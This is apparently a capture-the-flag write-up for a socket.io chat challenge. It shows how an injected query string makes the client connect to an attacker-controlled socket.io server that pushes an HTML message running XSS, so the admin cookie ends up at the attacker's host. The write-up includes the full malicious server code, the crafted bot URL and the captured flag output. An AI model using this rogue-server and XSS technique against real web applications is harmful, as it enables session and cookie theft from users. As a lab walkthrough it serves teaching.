Tags: xss csrf web socket.io nodejs 

Rating: 5.0

There is a client-server application that we have the source code of, index.html for the client and index.js for the server. We have to find a way to get the admin cookie. On the other site "XSS Bot" we can send an URL for the admin to open, that has to have the prefix http://47.254.28.30:58000/. I solved this exercise with a combination of [CSRF](https://owasp.org/www-community/attacks/csrf) (client-side request forgery) and [XSS](https://owasp.org/www-community/attacks/xss/) (cross-site scripting).

On the client source code (index.html) there is an open redirection flaw when initializing the socket.io:

```
<script src="/socket.io/socket.io.js"></script>
<script>
function reset() { location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=DOMPurify`; }
let query = new URLSearchParams(location.search), nickname = query.get('nickname'), room = query.get('room');
if (!nickname || !room) { reset(); }
for (let k of query.keys()) { if (!['nickname', 'room'].includes(k)) { reset(); } }
document.title += ' - ' + room;
let socket = io(`/${location.search}`), [...]
```

This call to io() uses the location.search where we can inject a malicious domain like the following:
http://47.254.28.30:58000/?room=DOMPurify&[email protected]

This allows us to make the client use a malicious socket.io server that we control instead of the expected server.

Malicious server:
```
const app = require('express')();
const http = require('http').Server(app);
const cors = require('cors')
const hostname = '0.0.0.0';
const port = 9000;
const io = require('socket.io')(http, {
cors: {
origin: "*",
methods: ["GET", "POST"],
"preflightContinue": false
}
});

const corsOptions = {
origin: false,
optionsSuccessStatus: 200
}

app.get('/', cors(corsOptions), (req, res) => {
console.log(req.query)
});

io.on('connection', (socket) => {
console.log("hey from: ", socket.handshake.address)
let {room} = socket.handshake.query;
socket.join(room);
io.to(room).emit('msg', {
from: 'system',
text: '<script>alert(1)</script>',
isHtml: true
});
});

http.listen(port, hostname, () => {
console.log(`ChatUWU malicious server running at http://${hostname}:${port}/`);
});
```

To run the malicious server I opened my local port 9000 to the internet by creating a firewall rule to allow inbound to 9000 and creating a rule on my router to map the port 9000 to my laptop:9000. Then run the following command:

```
node .\indexFake.js
ChatUWU malicious server running at http://0.0.0.0:9000/
```

Now the client will connect to the malicious server and the server will send the following message:
```
io.to(room).emit('msg', {
from: 'system',
text: '',
isHtml: true
});
```

On the client side (index.html) the following code will add this to the DOM and run the XSS payload:
```
socket.on('msg', function (msg) {
let item = document.createElement('li'),
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
messages.appendChild(item);
});
```

Final payload to deliver to the "XSS Bot":
`http://47.254.28.30:58000/?room=DOMPurify&[email protected]:9000`

Malicious server running at 85.244.211.240:9000 output:
```
hey from: 47.254.28.30
{ flag: 'rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}' }
```

For the complete context and walkthrough watch the video.

Original writeup (https://youtu.be/B1hlxOX29HM).